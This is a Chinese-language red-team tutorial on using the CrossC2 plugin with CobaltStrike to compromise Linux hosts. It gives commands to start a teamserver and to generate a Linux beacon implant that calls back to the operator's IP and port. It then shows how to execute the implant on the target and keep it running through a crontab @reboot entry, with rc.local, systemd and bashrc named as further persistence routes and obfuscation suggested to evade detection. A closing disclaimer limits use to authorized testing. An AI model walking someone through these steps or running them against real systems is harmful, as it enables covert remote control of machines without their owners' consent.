CobaltStrike上线Linux
字数 1135 2025-08-11 08:36:22
CrossC2插件在Linux平台使用CobaltStrike的教学文档
1. 背景介绍
在红蓝对抗中,安全研究人员常需要对目标进行长时间控制。虽然CobaltStrike原生对Windows平台支持良好,但在Linux平台上需要使用第三方插件CrossC2来实现类似功能。
2. 准备工作
2.1 所需工具
- CrossC2插件(GitHub地址:https://github.com/gloxec/CrossC2)
- CobaltStrike服务端(文档中使用版本为4.3)
2.2 文件下载
需要下载以下两个关键文件:
CrossC2***.cna- CobaltStrike的插件脚本genCrossC2.Linux- Linux平台木马生成器
注意:根据目标平台选择正确的生成器(本文使用Linux版本)
3. 服务端部署
3.1 启动CobaltStrike服务端
chmod +x teamserver
./teamserver [ip] [password]
4. 客户端连接与配置
4.1 建立监听器
- CrossC2插件仅支持HTTPS类型的Beacon
- 在CobaltStrike客户端中创建HTTPS监听器
4.2 安装CrossC2插件
- 将下载的
.cna文件加载到CobaltStrike客户端中 - 确保插件正确加载并显示相关功能
5. 生成Linux木马
5.1 生成位置选择
- 可直接在服务端的CobaltStrike目录生成
- 若在非服务端生成,需要复制服务端根目录的隐藏文件
.cobaltstrike.beacon_keys到当前目录
5.2 生成命令
chmod +x genCrossC2.Linux
./genCrossC2.Linux [ip] [port] ./.cobaltstrike.beacon_keys null Linux x64 /tmp/test
参数说明:
[ip]: 监听器IP地址[port]: 监听端口Linux x64: 目标平台架构/tmp/test: 生成的木马路径
6. 目标机上线
6.1 执行木马
在目标Linux机器上:
chmod +x /tmp/test
/tmp/test
6.2 验证上线
检查CobaltStrike客户端是否显示目标已上线
7. 权限维持技术
7.1 通过计划任务实现持久化
crontab -e
@reboot /tmp/test
注意:需要设置对应用户的crontab
7.2 其他持久化方法(可选)
- 添加到/etc/rc.local
- 创建systemd服务
- 修改profile或bashrc文件
8. 注意事项
- 版本兼容性:确保CrossC2插件版本与CobaltStrike版本匹配
- 文件权限:生成器和木马都需要执行权限
- 密钥文件:跨机器生成时需要
.cobaltstrike.beacon_keys文件 - 监听器类型:必须使用HTTPS监听器
9. 扩展知识
- 可尝试生成其他架构的payload(如ARM)
- 可研究CrossC2的其他高级功能
- 考虑使用混淆技术避免检测
10. 免责声明
本文档仅供安全研究和授权测试使用,未经授权对他人系统进行测试属于违法行为。